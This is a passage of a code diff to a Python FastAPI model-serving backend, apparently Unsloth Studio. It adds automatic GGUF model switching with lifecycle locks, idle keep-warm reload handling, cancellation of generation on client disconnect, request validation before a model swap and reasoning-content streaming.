+            if getattr(b, "_openai_advertised_id", None) != override_id:
+                b._openai_advertised_id = override_id
+
+        if _already_serving():
+            _record_serving_alias()
+            return
+        # An image/audio request naming a different text-only GGUF would load it
+        # here and only 400 below, evicting the working model. Reject before the
+        # swap. Only the resolver branch (an explicit new target); the reload-stash
+        # path just restores the model the request was already using. Both vision and
+        # audio input come from a companion mmproj (a filesystem probe) -- run it off
+        # the loop, like the resolver above.
+        if (
+            require_vision
+            and resolved is not None
+            and not await asyncio.to_thread(_target_is_vision, target_id)
+        ):
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    "The requested model does not support the image or audio input in this request.",
+                    status = 400,
+                    code = "invalid_value",
+                    param = "model",
+                ),
+            )
+        key = _switch_key(override_id, variant)
+        _note_switch_waiter(key, 1)
+        try:
+            async with _auto_switch_lock():
+                # The asyncio lock is per loop; add a process-wide gate so a swap on
+                # another loop in this process can't race the single slot.
+                await _acquire_swap_gate()
+                try:
+                    # Hold the keep-warm gate across the swap so no new inference can
+                    # start on the model while it is being torn down and replaced.
+                    async with inference_lifecycle_gate():
+                        if _already_serving():
+                            _record_serving_alias()
+                            return
+                        # Single slot: refuse a cross-model swap while another inference
+                        # request is active rather than killing its response. Requests
+                        # heading to this same target (by resolved id or raw name) are
+                        # excluded, so concurrent requests for one model load once. A
+                        # pending request is still in the middleware, not generating, so
+                        # it is not counted here.
+                        same_others = max(
+                            _same_target_waiters(key) - 1, _same_request_waiters(request_key) - 1, 0
+                        )
+                        others = other_inference_request_count(
+                            current_request_counted = True, include_pending = False
+                        )
+                        # Not gated on the GGUF being loaded: _load_model_impl also
+                        # tears down an active Unsloth backend before loading a GGUF,
+                        # so refuse whenever any other inference request is in flight.
+                        if others > same_others:
+                            raise HTTPException(
+                                status_code = 409,
+                                detail = openai_error_body(
+                                    "Cannot switch models while another inference request is in progress.",
+                                    status = 409,
+                                    code = "model_switch_busy",
+                                    param = "model",
+                                ),
+                            )
+                        # Apply this model's saved launch flags so the swap honors the config.
+                        override = get_model_override(override_id)
+                        load_kwargs = {"model_path": target_id, "gguf_variant": variant}
+                        if override.get("llama_extra_args") is not None:
+                            load_kwargs["llama_extra_args"] = override["llama_extra_args"]
+                        if override.get("max_seq_length") is not None:
+                            load_kwargs["max_seq_length"] = override["max_seq_length"]
+                        # Reuse the load impl so its dedup, tensor fallback, and threading
+                        # apply. Call the impl directly: we already hold the lifecycle gate
+                        # the /load route would otherwise take, so the route would deadlock.
+                        await _load_model_impl(
+                            LoadRequest(**load_kwargs),
+                            fastapi_request,
+                            current_subject,
+                        )
+                        # Advertise the repo id (not the concrete load path) as the loaded
+                        # model's public id and override key for /v1/models and idle stash.
+                        get_llama_cpp_backend()._openai_advertised_id = override_id
+                finally:
+                    _auto_switch_process_lock.release()
+        finally:
+            _note_switch_waiter(key, -1)
+    finally:
+        _note_request_waiter(request_key, -1)
+
+
+async def _auto_switch_from_request_body(request: Request, current_subject: str):
+    """Run auto-switch from a raw-body endpoint's ``model`` without changing its
+    pre-feature status codes: a malformed/non-dict body yields no model (so an
+    unloaded backend still 503s, not 500), and the caller re-reads to surface the
+    original parse error after the loaded-state check. Returns the parsed body, or
+    None if it could not be parsed."""
+    try:
+        body = await request.json()
+    except (json.JSONDecodeError, ValueError):
+        return None
+    if isinstance(body, dict):
+        # A raw-body client may omit ``model`` and rely on the loaded backend. Pass
+        # a reload-only sentinel so the idle-stash reload still runs (an idle-freed
+        # model is restored) without the resolver ever matching a real name.
+        model = body.get("model") or _RELOAD_ONLY_MODEL
+    else:
+        model = None
+    await _maybe_auto_switch_model(model, request, current_subject)
+    return body
+
+
 def _effective_load_in_4bit(config: ModelConfig, requested: bool) -> bool:
     """Effective quantization the loader will use: a LoRA adapter can flip 4-bit to
     16-bit via adapter_config.json, so the guard sizes this, not the raw request."""
@@ -2307,6 +3242,15 @@ async def load_model(
 
     GGUF models load via llama-server (llama.cpp) instead of Unsloth.
     """
+    # Hold the lifecycle gate across the load so idle auto-unload can't unload the
+    # model mid-load. Auto-switch calls _load_model_impl directly since it already
+    # holds this gate.
+    from core.inference.llama_keepwarm import inference_lifecycle_gate
+    async with inference_lifecycle_gate():
+        return await _load_model_impl(request, fastapi_request, current_subject)
+
+
+async def _load_model_impl(request: LoadRequest, fastapi_request: Request, current_subject: str):
     from core.inference.llama_cpp import LlamaServerNotFoundError
 
     native_grant_backed = False
@@ -2510,12 +3454,15 @@ async def load_model(
             llama_backend = get_llama_cpp_backend()
             unsloth_backend = get_inference_backend()
 
-            # Unload any active Unsloth model to free VRAM
+            # Unload any active Unsloth model to free VRAM (off the event loop:
+            # unload takes _gen_lock and can wait on an in-flight stream).
             if unsloth_backend.active_model_name:
                 logger.info(
                     f"Unloading Unsloth model '{unsloth_backend.active_model_name}' before loading GGUF"
                 )
-                unsloth_backend.unload_model(unsloth_backend.active_model_name)
+                await asyncio.to_thread(
+                    unsloth_backend.unload_model, unsloth_backend.active_model_name
+                )
 
             # Inherit llama_extra_args from the previous load when the request
             # omits the field (the chat-settings Apply path doesn't round-trip
@@ -2646,6 +3593,48 @@ async def load_model(
                     hf_variant = config.gguf_variant,
                 )
 
+            # Tensor intent for this load: the request itself, or a preserved
+            # multi-GPU layer fallback carried across a reload of the SAME model that
+            # doesn't drop it (e.g. a ctx-only change), so a fitting model doesn't
+            # silently collapse to one GPU. Only an explicit non-tensor --split-mode
+            # override counts as the drop -- the tensor field echo / unrelated extras keep
+            # the preserved placement; the same-model guard stops a switch-without-unload
+            # inheriting the prior model's intent.
+            _explicit_tensor_drop = _is_explicit_tensor_drop(request)
+            # Compare the resolved config.identifier (what load_model stores), not the
+            # raw request id: from_identifier normalizes shorthands (adds unsloth/, fixes
+            # case), so a reload with the shorthand would otherwise miss the match and
+            # drop the carry-forward. #6659
+            _same_model_loaded = (
+                llama_backend.is_loaded
+                and (llama_backend.model_identifier or "").lower()
+                == (config.identifier or "").lower()
+            )
+            # model_identifier is variant-agnostic for HF repos and dir-level for a
+            # local multi-variant directory, so also require the loaded quant to match
+            # (path else variant, mirroring _already_in_target_state) -- otherwise a
+            # different variant inherits the prior one's preserved intent. #6659
+            if _same_model_loaded:
+                if config.gguf_file and llama_backend.gguf_path:
+                    try:
+                        _same_model_loaded = (
+                            Path(llama_backend.gguf_path).resolve()
+                            == Path(config.gguf_file).resolve()
+                        )
+                    except OSError:
+                        _same_model_loaded = False
+                else:
+                    _same_model_loaded = (llama_backend.hf_variant or "").lower() == (
+                        config.gguf_variant or ""
+                    ).lower()
+            _tensor_intent_overall = _effective_tensor_parallel(
+                extra_llama_args, request.tensor_parallel
+            ) or _carry_preserved_tensor_intent(
+                preserved = llama_backend.layer_preserves_tensor_intent,
+                same_model = _same_model_loaded,
+                explicit_drop = _explicit_tensor_drop,
+            )
+
             # Run a single load attempt with the given tensor flag + extras.
             async def _attempt_gguf_load(
                 tensor_parallel: bool, attempt_extra_args: Optional[list[str]]
@@ -2659,6 +3648,12 @@ async def load_model(
                     **_source_load_kwargs,
                     **attempt_kwargs,
                     tensor_parallel = tensor_parallel,
+                    # True on the layer fallback retry (tensor wanted overall but not on
+                    # this attempt): keep multi-GPU. Mirrors the fallback's key.
+                    preserve_multi_gpu_on_layer = bool(
+                        _tensor_intent_overall
+                        and not _effective_tensor_parallel(attempt_extra_args, tensor_parallel)
+                    ),
                 )
 
             # Tensor parallelism is arch-gated in llama.cpp and crashes some loads
@@ -2683,6 +3678,13 @@ async def load_model(
             logger.info(
                 f"Loaded GGUF model via llama-server: {model_log_label if native_grant_backed else config.identifier}"
             )
+            # Clear any idle-unload reload stash now, not only on the next poll.
+            from core.inference.llama_keepwarm import note_model_loaded
+
+            note_model_loaded()
+            # A plain load advertises its own identifier; auto-switch overwrites
+            # this with the repo id right after _load_model_impl returns.
+            llama_backend._openai_advertised_id = None
 
             # Audio detection moved into load_model under _serial_load_lock (#5642).
             _gguf_audio = llama_backend._audio_type
@@ -2784,6 +3786,13 @@ async def load_model(
         logger.info(
             f"Loaded model: {model_log_label if native_grant_backed else config.identifier}"
         )
+        # Clear any idle-unload reload stash: a manual load supersedes an idle-freed
+        # GGUF, so the next /v1 request must not resurrect it. Mirror the GGUF branch
+        # above; without this a non-GGUF load leaves a stale stash until the idle
+        # poll clears it (and never, while idle-unload is off).
+        from core.inference.llama_keepwarm import note_model_loaded
+
+        note_model_loaded()
 
         # Load inference configuration parameters
         inference_config = load_inference_config(config.identifier)
@@ -3114,23 +4123,79 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge
     Unload a model from memory.
     Routes to the correct backend (llama-server for GGUF, Unsloth otherwise).
     """
+    # A deliberate unload means "stay unloaded": drop any idle reload stash so the
+    # next /v1 request can't resurrect this model. The idle loop unloads via the
+    # backend directly (not this route), so clearing here never fights keep-warm.
+    from core.inference.llama_keepwarm import inference_lifecycle_gate, note_model_unloaded
     try:
-        # Check if the GGUF backend has this model loaded or is loading it.
-        llama_backend = get_llama_cpp_backend()
-        if llama_backend.is_active and (
-            llama_backend.model_identifier == request.model_path
-            or is_registered_native_path_label(llama_backend.model_identifier, request.model_path)
-            or not llama_backend.is_loaded
+        # "Stop loading" (frontend cancelLoading -> /unload) must abort a still-loading
+        # model promptly. /load holds the lifecycle gate for the whole (multi-minute) load,
+        # so gating first would make the cancel wait it out. cancel_load only tears the
+        # loading subprocess down (no unload command), so it is safe off-gate.
+        backend = get_inference_backend()
+        loading = getattr(backend, "get_loading_model", lambda: None)()
+        if (
+            loading is not None
+            and hasattr(backend, "cancel_load")
+            and (request.model_path == loading or request.model_path.lower() == loading.lower())
         ):
-            llama_backend.unload_model()
-            logger.info(f"Unloaded GGUF model: {request.model_path}")
+            if await asyncio.to_thread(backend.cancel_load, request.model_path):
+                note_model_unloaded()
+                logger.info(f"Cancelled in-flight load: {request.model_path}")
+                return UnloadResponse(status = "unloaded", model = request.model_path)
+
+        # Same "stop loading" fast path for a still-loading GGUF (llama-server spawned,
+        # health check not yet passed). A gated unload would wait out the multi-minute
+        # load; unload_model() sets the cancel_event load_model polls off its own lock and
+        # kills the child, sending no worker command, so it is safe off-gate like
+        # cancel_load. The gated GGUF branch below handles the already-loaded case. Gate on
+        # the loading model (identifier or native label): the single llama-server loads one
+        # GGUF at a time, so an unload for a different model must not cancel this load.
+        llama_backend = get_llama_cpp_backend()
+        if (
+            llama_backend.is_active
+            and not llama_backend.is_loaded
+            and (
+                llama_backend.model_identifier == request.model_path
+                or is_registered_native_path_label(
+                    llama_backend.model_identifier, request.model_path
+                )
+            )
+        ):
+            await asyncio.to_thread(llama_backend.unload_model)
+            note_model_unloaded()
+            logger.info(f"Cancelled in-flight GGUF load: {request.model_path}")
             return UnloadResponse(status = "unloaded", model = request.model_path)
 
-        # Otherwise, unload from Unsloth backend
-        backend = get_inference_backend()
-        backend.unload_model(request.model_path)
-        logger.info(f"Unloaded model: {request.model_path}")
-        return UnloadResponse(status = "unloaded", model = request.model_path)
+        # Serialize with /load under the same lifecycle gate: the Unsloth unload now runs
+        # off the event loop (asyncio.to_thread), so without this a concurrent /load could
+        # swap in a fresh subprocess mid-unload and the unload command would land on the
+        # new worker. The gate makes load and unload exclusive.
+        async with inference_lifecycle_gate():
+            # Check if the GGUF backend has this model loaded or is loading it.
+            llama_backend = get_llama_cpp_backend()
+            if llama_backend.is_active and (
+                llama_backend.model_identifier == request.model_path
+                or is_registered_native_path_label(
+                    llama_backend.model_identifier, request.model_path
+                )
+                or not llama_backend.is_loaded
+            ):
+                # A manual unload is a deliberate user action: tear down now even if a
+                # request is mid-stream (only the automatic idle loop defers to it).
+                llama_backend.unload_model()
+                note_model_unloaded()
+                logger.info(f"Unloaded GGUF model: {request.model_path}")
+                return UnloadResponse(status = "unloaded", model = request.model_path)
+
+            # Unload from Unsloth backend off the event loop: unload takes _gen_lock, which
+            # a slow SSE stream paused between tokens still holds, so a sync call would block
+            # the loop that drives the stream's next token and the lock release.
+            backend = get_inference_backend()
+            await asyncio.to_thread(backend.unload_model, request.model_path)
+            note_model_unloaded()
+            logger.info(f"Unloaded model: {request.model_path}")
+            return UnloadResponse(status = "unloaded", model = request.model_path)
 
     except Exception as e:
         logger.error(f"Error unloading model: {e}", exc_info = True)
@@ -3221,7 +4286,9 @@ async def get_api_monitor_entry(entry_id: str, current_subject: str = Depends(ge
 
 @router.post("/generate/stream")
 async def generate_stream(
-    request: GenerateRequest, current_subject: str = Depends(get_current_subject)
+    request: GenerateRequest,
+    fastapi_request: Request,
+    current_subject: str = Depends(get_current_subject),
 ):
     """
     Generate a chat response with Server-Sent Events (SSE) streaming.
@@ -3271,6 +4338,13 @@ async def generate_stream(
     async def stream():
         gen = None
         completed = False
+        # Cancel the generation when the client disconnects. The generator only
+        # awaits asyncio.to_thread(next, gen, ...), so without a concurrent
+        # watcher a disconnect during a long prefill/generation would go
+        # unnoticed until the next send and the backend would keep generating.
+        disconnect_watcher = asyncio.create_task(
+            _await_disconnect_then_cancel(fastapi_request, cancel_event)
+        )
         try:
             gen = backend.generate_chat_response(
                 messages = request.messages,
@@ -3279,18 +4353,27 @@ async def generate_stream(
                 temperature = request.temperature,
                 top_p = request.top_p,
                 top_k = request.top_k,
+                min_p = request.min_p,
                 max_new_tokens = request.max_new_tokens,
                 repetition_penalty = request.repetition_penalty,
+                presence_penalty = request.presence_penalty,
                 cancel_event = cancel_event,
             )
             _DONE = object()
             while True:
+                if cancel_event.is_set():
+                    # Watcher set cancel_event between chunks. Reset here: closing
+                    # the generator does not signal a subprocess backend, so it would
+                    # keep decoding. The finally's reset is guarded, so no double-run.
+                    backend.reset_generation_state()
+                    break
                 chunk = await asyncio.to_thread(next, gen, _DONE)
                 if chunk is _DONE:
+                    completed = True
                     break
                 yield f"data: {json.dumps({'content': chunk})}\n\n"
-            completed = True
-            yield "data: [DONE]\n\n"
+            if completed:
+                yield "data: [DONE]\n\n"
 
         except asyncio.CancelledError:
             cancel_event.set()
@@ -3302,6 +4385,7 @@ async def generate_stream(
             logger.error(f"Error during generation: {e}", exc_info = True)
             yield f"data: {json.dumps({'error': _friendly_error(e)})}\n\n"
         finally:
+            await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
             if not completed and not cancel_event.is_set():
                 cancel_event.set()
                 backend.reset_generation_state()
@@ -3517,10 +4601,25 @@ async def generate_audio(
         raise HTTPException(status_code = 400, detail = "No user message found.")
     text = last_user_msg["content"]
 
+    # Restore an idle-evicted GGUF before selecting a backend: this path is
+    # keep-warm-tracked but had no reload hook, so a standalone idle TTL could
+    # unload an audio GGUF the next request then failed to restore. Validation
+    # above ran first, so an invalid request never triggers a reload.
+    #
+    # Reload-only on purpose: a local GGUF's audio-input capability is not a cheap
+    # pre-load probe (the companion mmproj signal can't tell an audio projector
+    # from a vision one, and codec-based TTS ships no projector at all), so passing
+    # the client model through the resolver could load a text- or vision-only target
+    # and evict the working audio model before the audio backend check fails. Only
+    # the idle-stash restore runs here; switching TTS models is an explicit /load.
+    await _maybe_auto_switch_model(_RELOAD_ONLY_MODEL, request, current_subject)
+
     # Pick backend — both return (wav_bytes, sample_rate)
     llama_backend = get_llama_cpp_backend()
     if llama_backend.is_loaded and getattr(llama_backend, "_is_audio", False):
-        model_name = llama_backend.model_identifier
+        # Advertised repo id after an auto-switch load, else a clean public id,
+        # never the absolute .gguf path.
+        model_name = _llama_public_model_id(llama_backend)
         gen = lambda: llama_backend.generate_audio_response(
             text = text,
             audio_type = llama_backend._audio_type,
@@ -3538,7 +4637,7 @@ async def generate_audio(
         model_info = backend.models.get(backend.active_model_name, {})
         if not model_info.get("is_audio"):
             raise HTTPException(status_code = 400, detail = "Active model is not an audio model.")
-        model_name = backend.active_model_name
+        model_name = public_model_id(backend.active_model_name)
         gen = lambda: backend.generate_audio_response(
             text = text,
             temperature = payload.temperature,
@@ -4303,6 +5402,14 @@ async def _proxy_to_external_provider(
         except Exception as exc:
             logger.error("external_provider.stream_error", error = str(exc))
             api_monitor.fail(monitor_id, _friendly_error(exc))
+            # Surface the failure: a bare EOF (e.g. after a read timeout) is treated
+            # by the chat client as success, saving a partial answer with no error.
+            yield (
+                "data: "
+                + json.dumps({"error": {"message": _friendly_error(exc), "type": "server_error"}})
+                + "\n\n"
+            )
+            yield "data: [DONE]\n\n"
         finally:
             try:
                 await gen.aclose()
@@ -4538,6 +5645,12 @@ async def openai_chat_completions(
     # ── External provider routing ────────────────────────────────
     # encrypted_api_key is optional -- local providers (llama.cpp / vLLM / Ollama) may run without auth.
     if payload.provider_id or payload.provider_type:
+        # External provider: this request won't touch the local GGUF, so drop it
+        # from the keep-warm count or its in-flight stream would falsely block a
+        # concurrent local auto-switch with model_switch_busy.
+        from core.inference.llama_keepwarm import untrack_current_request
+
+        untrack_current_request(request.scope)
         # Bypass Permissions suppresses the confirm gate, so do not reject a
         # request that sets both flags (effective confirm is then False).
         if (
@@ -4591,6 +5704,95 @@ async def openai_chat_completions(
                     ),
                 )
 
+    # Reject a system-only chat before any automatic load so an invalid request
+    # never swaps or reloads the resident model (as /responses and /messages
+    # already validate before switching). Gate on every automatic-load trigger,
+    # not just auto-switch, since a standalone idle TTL can also reload here.
+    # Parse once and reuse below.
+    _pre_parsed = None
+    _needs_vision = False
+    if _automatic_model_load_may_run():
+        _pre_parsed = _extract_content_parts(payload.messages)
+        if not _pre_parsed[1]:
+            raise HTTPException(
+                status_code = 400, detail = "At least one non-system message is required."
+            )
+        # Reject confirm-without-stream local tool requests before the switch: the
+        # local tool path requires stream=true for the confirm gate, so this shape
+        # is invalid and must not evict the resident model first. Mirror that path's
+        # enablement exactly (_effective_enable_tools honors a CLI --enable-tools
+        # policy hard-override; mcp_enabled opens the tool loop on its own but still
+        # defers to a CLI --disable-tools policy), or an mcp_enabled/policy-forced
+        # request would slip past this guard and only 400 after the swap.
+        from state.tool_policy import get_tool_policy as _get_confirm_tool_policy
+
+        _confirm_cli_policy = _get_confirm_tool_policy()
+        if (
+            payload.confirm_tool_calls
+            and not payload.bypass_permissions
+            and not payload.stream
+            and (
+                _effective_enable_tools(payload)
+                or (bool(payload.mcp_enabled) and _confirm_cli_policy is not False)
+                or bool(payload.enabled_tools)
+                or bool(payload.tools)
+                or bool(payload.openai_code_exec_container_id)
+                or bool(payload.anthropic_code_exec_container_id)
+            )
+        ):
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    "confirm_tool_calls requires stream=true for local tool execution.",
+                    status = 400,
+                    code = "invalid_request_error",
+                    param = "confirm_tool_calls",
+                ),
+            )
+        # Reject a malformed tool_choice forcing object before the switch: a
+        # {"type": "function", "function": {}} with no name would otherwise be
+        # forwarded to llama-server and rejected only after the model swapped.
+        _tc = payload.tool_choice
+        if isinstance(_tc, dict) and _tc.get("type") == "function":
+            _tc_fn = _tc.get("function")
+            _tc_name = _tc_fn.get("name") if isinstance(_tc_fn, dict) else None
+            if not isinstance(_tc_name, str) or not _tc_name.strip():
+                raise HTTPException(
+                    status_code = 400,
+                    detail = openai_error_body(
+                        "Invalid 'tool_choice': the forced function must have a 'name'.",
+                        status = 400,
+                        code = "invalid_value",
+                        param = "tool_choice",
+                    ),
+                )
+        # Reject an oversized audio upload before the switch: the size cap is a
+        # cheap, target-independent length check, so a too-large payload must not
+        # load a GGUF only to 413 afterward (the decode itself stays post-switch to
+        # avoid decoding a valid upload twice).
+        if payload.audio_base64 and len(payload.audio_base64) > _MAX_AUDIO_B64_CHARS:
+            raise HTTPException(status_code = 413, detail = "Audio file is too large (max ~25 MB).")
+        # Reject streaming n>1 before the switch: only the non-streaming GGUF path
+        # returns multiple choices, so stream=true + n>1 is invalid on every local
+        # serving path (the external path already rejected it before its early
+        # return). Both fields are known here, so a bad shape must not load model B
+        # only to 400. The non-streaming n>1 cases stay post-switch, where the
+        # serving path decides whether the shape is supported.
+        if payload.stream and _wants_multiple_choices(payload):
+            _raise_unsupported_n("streaming chat completions")
+        # Audio input rides the same companion-mmproj projector as vision, so a
+        # text-only target can't serve it either; guard both before the switch.
+        _needs_vision = (
+            bool(_pre_parsed[2]) or _request_has_image(payload) or bool(payload.audio_base64)
+        )
+
+    await _maybe_auto_switch_model(
+        _switch_model_for_payload(payload),
+        request,
+        current_subject,
+        require_vision = _needs_vision,
+    )
+
     llama_backend = get_llama_cpp_backend()
     using_gguf = llama_backend.is_loaded
 
@@ -4646,7 +5848,9 @@ async def openai_chat_completions(
         return response
 
     if using_gguf:
-        model_name = llama_backend.model_identifier or payload.model
+        # Advertised repo id after an auto-switch load, else a clean public id,
+        # never the absolute .gguf path.
+        model_name = _llama_public_model_id(llama_backend, payload.model)
         if getattr(llama_backend, "_is_audio", False):
             if _wants_multiple_choices(payload):
                 _raise_unsupported_n("GGUF audio chat completions")
@@ -4661,7 +5865,9 @@ async def openai_chat_completions(
                 status_code = 400,
                 detail = "No model loaded. Call POST /inference/load first.",
             )
-        model_name = backend.active_model_name or payload.model
+        # Clean public id so the response never echoes a local path; the audio
+        # branch below receives this sanitized label too.
+        model_name = public_model_id(backend.active_model_name) or payload.model
         if _wants_multiple_choices(payload):
             _raise_unsupported_n("non-GGUF chat completions")
 
@@ -4725,6 +5931,9 @@ async def openai_chat_completions(
                 _tracker.__enter__()
 
                 async def audio_input_stream():
+                    disconnect_watcher = asyncio.create_task(
+                        _await_disconnect_then_cancel(request, cancel_event)
+                    )
                     try:
                         yield _chat_role_chunk(completion_id, created, model_name)
 
@@ -4760,9 +5969,19 @@ async def openai_chat_completions(
                         api_monitor.fail(monitor_id, _friendly_error(e))
                         yield f"data: {json.dumps({'error': {'message': _friendly_error(e), 'type': 'server_error'}})}\n\n"
                     finally:
+                        await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                         _tracker.__exit__(None, None, None)
 
-                return _sse_streaming_response(audio_input_stream())
+                return _SameTaskStreamingResponse(
+                    audio_input_stream(),
+                    unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
+                    media_type = "text/event-stream",
+                    headers = {
+                        "Cache-Control": "no-cache",
+                        "Connection": "close",
+                        "X-Accel-Buffering": "no",
+                    },
+                )
             else:
                 try:
                     full_text = "".join(audio_input_generate())
@@ -4893,7 +6112,11 @@ async def openai_chat_completions(
         )
 
     # ── Parse messages (handles multimodal content parts) ─────
-    system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages)
+    # Reuse the pre-hook parse when auto-switch did it, else parse now.
+    if _pre_parsed is not None:
+        system_prompt, chat_messages, extracted_image_b64 = _pre_parsed
+    else:
+        system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages)
 
     if not chat_messages:
         raise _reject(400, "At least one non-system message is required.")
@@ -4937,6 +6160,28 @@ async def openai_chat_completions(
         completion_id = f"chatcmpl-{uuid.uuid4().hex[:12]}"
         created = int(time.time())
 
+        def _new_chat_reasoning_extractor():
+            return _ResponsesReasoningExtractor(
+                parse_think_markers = _responses_should_parse_think_markers(
+                    payload,
+                    llama_backend,
+                )
+            )
+
+        def _gguf_chat_delta_line(delta: ChoiceDelta, finish_reason = None) -> str:
+            chunk = ChatCompletionChunk(
+                id = completion_id,
+                created = created,
+                model = model_name,
+                choices = [
+                    ChunkChoice(
+                        delta = delta,
+                        finish_reason = finish_reason,
+                    )
+                ],
+            )
+            return f"data: {chunk.model_dump_json(exclude_none = True)}\n\n"
+
         # ── Tool-calling path (agentic loop) ──────────────────
         # `_effective_enable_tools` lets `unsloth run --enable-tools/--disable-tools`
         # hard-override the per-request value, else falls back to
@@ -4998,13 +6243,18 @@ async def openai_chat_completions(
             _gguf_auto_heal_tool_calls = (
                 payload.auto_heal_tool_calls if payload.auto_heal_tool_calls is not None else True
             )
+            # Active tool names gating the bare-rehearsal strip, matching the loop gate.
+            _gguf_display_tool_names = _display_tool_name_gate(tools_to_use)
 
             # ── Strip stale tool-call XML from conversation history ─
             for _msg in gguf_messages:
                 if _msg.get("role") == "assistant" and isinstance(_msg.get("content"), str):
+                    # Gate on enabled tool names, like the live strip, so a documented inactive
+                    # ``foo[ARGS]{...}`` survives in the replayed prompt context.
                     _msg["content"] = _strip_tool_xml_for_display(
                         _msg["content"],
                         auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                        enabled_tool_names = _gguf_display_tool_names,
                     ).strip()
 
             def gguf_generate_with_tools():
@@ -5025,6 +6275,7 @@ async def openai_chat_completions(
                     reasoning_effort = payload.reasoning_effort,
                     preserve_thinking = payload.preserve_thinking,
                     auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                    nudge_tool_calls = payload.nudge_tool_calls,
                     max_tool_iterations = payload.max_tool_calls_per_message
                     if payload.max_tool_calls_per_message is not None
                     else 25,
@@ -5049,6 +6300,9 @@ async def openai_chat_completions(
 
             async def gguf_tool_stream():
                 gen = None
+                disconnect_watcher = asyncio.create_task(
+                    _await_disconnect_then_cancel(request, cancel_event)
+                )
                 try:
                     yield _chat_role_chunk(completion_id, created, model_name)
 
@@ -5056,9 +6310,25 @@ async def openai_chat_completions(
                     # stays free for disconnect detection.
                     gen = gguf_generate_with_tools()
                     prev_text = ""
+                    reasoning_extractor = _new_chat_reasoning_extractor()
                     _stream_usage = None
                     _stream_timings = None
                     _stream_finish = None
+
+                    def _flush_reasoning_extractor():
+                        final_reasoning, final_visible = reasoning_extractor.finish()
+                        chunks = []
+                        if final_reasoning:
+                            chunks.append(
+                                _gguf_chat_delta_line(
+                                    ChoiceDelta(reasoning_content = final_reasoning)
+                                )
+                            )
+                        if final_visible:
+                            api_monitor.append_reply(monitor_id, final_visible)
+                            chunks.append(_gguf_chat_delta_line(ChoiceDelta(content = final_visible)))
+                        return chunks
+
                     while True:
                         if cancel_event.is_set():
                             break
@@ -5077,7 +6347,10 @@ async def openai_chat_completions(
                             # cumulative cursor so the next assistant turn
                             # streams cleanly.
                             if not event["text"]:
+                                for chunk in _flush_reasoning_extractor():
+                                    yield chunk
                                 prev_text = ""
+                                reasoning_extractor = _new_chat_reasoning_extractor()
                             # Emit tool status as a custom SSE event (including
                             # empty ones to clear UI badges)
                             status_data = json.dumps(
@@ -5091,7 +6364,10 @@ async def openai_chat_completions(
 
                         if event["type"] in ("tool_start", "tool_end"):
                             if event["type"] == "tool_start":
+                                for chunk in _flush_reasoning_extractor():
+                                    yield chunk
                                 prev_text = ""
+                                reasoning_extractor = _new_chat_reasoning_extractor()
                             yield f"data: {json.dumps(event)}\n\n"
                             continue
 
@@ -5101,6 +6377,11 @@ async def openai_chat_completions(
                             _stream_finish = event.get("finish_reason")
                             continue
 
+                        if event["type"] == "reasoning_summary":
+                            # Forward server-side reasoning timing to the UI.
+                            yield f"data: {json.dumps(event)}\n\n"
+                            continue
+
                         # "content" type -- cumulative text. Sanitize the full
                         # cumulative then diff against the last sanitized
                         # snapshot so cross-chunk XML tags are handled correctly.
@@ -5108,20 +6389,39 @@ async def openai_chat_completions(
                         clean_cumulative = _strip_tool_xml_for_display(
                             raw_cumulative,
                             auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                            enabled_tool_names = _gguf_display_tool_names,
                         )
                         new_text = clean_cumulative[len(prev_text) :]
                         prev_text = clean_cumulative
                         if not new_text:
                             continue
-                        api_monitor.append_reply(monitor_id, new_text)
-                        yield _chat_content_chunk(completion_id, created, model_name, new_text)
+                        reasoning_delta, visible_delta = reasoning_extractor.feed(new_text)
+                        if reasoning_delta:
+                            yield _gguf_chat_delta_line(
+                                ChoiceDelta(reasoning_content = reasoning_delta)
+                            )
+                        if visible_delta:
+                            api_monitor.append_reply(monitor_id, visible_delta)
+                            yield _gguf_chat_delta_line(ChoiceDelta(content = visible_delta))
 
-                    yield _chat_final_chunk(
-                        completion_id,
-                        created,
-                        model_name,
-                        _clamp_finish_reason(_stream_finish),
+                    for chunk in _flush_reasoning_extractor():
+                        yield chunk
+
+                    final_chunk = ChatCompletionChunk(
+                        id = completion_id,
+                        created = created,
+                        model = model_name,
+                        choices = [
+                            ChunkChoice(
+                                delta = ChoiceDelta(),
+                                finish_reason = _clamp_finish_reason(_stream_finish),
+                            )
+                        ],
                     )
+                    # Emit the terminal chunk carrying finish_reason before the
+                    # optional usage chunk and [DONE], so OpenAI-compatible
+                    # clients can detect stop/length/tool_calls.
+                    yield f"data: {final_chunk.model_dump_json(exclude_none = True)}\n\n"
                     usage_line = _openai_stream_usage_chunk(
                         payload,
                         completion_id,
@@ -5150,6 +6450,7 @@ async def openai_chat_completions(
                     error_chunk = _openai_stream_error_chunk(e)
                     yield f"data: {json.dumps(error_chunk)}\n\n"
                 finally:
+                    await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                     if gen is not None:
                         try:
                             gen.close()
@@ -5157,7 +6458,125 @@ async def openai_chat_completions(
                             pass
                     _tracker.__exit__(None, None, None)
 
-            return _sse_streaming_response(gguf_tool_stream())
+            if payload.stream:
+                return _SameTaskStreamingResponse(
+                    gguf_tool_stream(),
+                    unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
+                    media_type = "text/event-stream",
+                    headers = {
+                        "Cache-Control": "no-cache",
+                        "Connection": "close",
+                        "X-Accel-Buffering": "no",
+                    },
+                )
+
+            # Non-streaming JSON: drain the agentic generator into one
+            # ChatCompletion, like the standard GGUF `else` branch. stream:false
+            # with tools enabled used to return an SSE body, breaking
+            # non-streaming clients; `unsloth studio run --model` forces tools on
+            # process-wide, so plain requests reach this path (#6570).
+            def _drain_gguf_tool_loop():
+                full_text = ""
+                usage = None
+                finish = None
+                gen = gguf_generate_with_tools()
+                try:
+                    for event in gen:
+                        if cancel_event.is_set():
+                            break
+                        if event.get("type") == "metadata":
+                            usage = event.get("usage")
+                            finish = event.get("finish_reason")
+                        elif event.get("type") == "content":
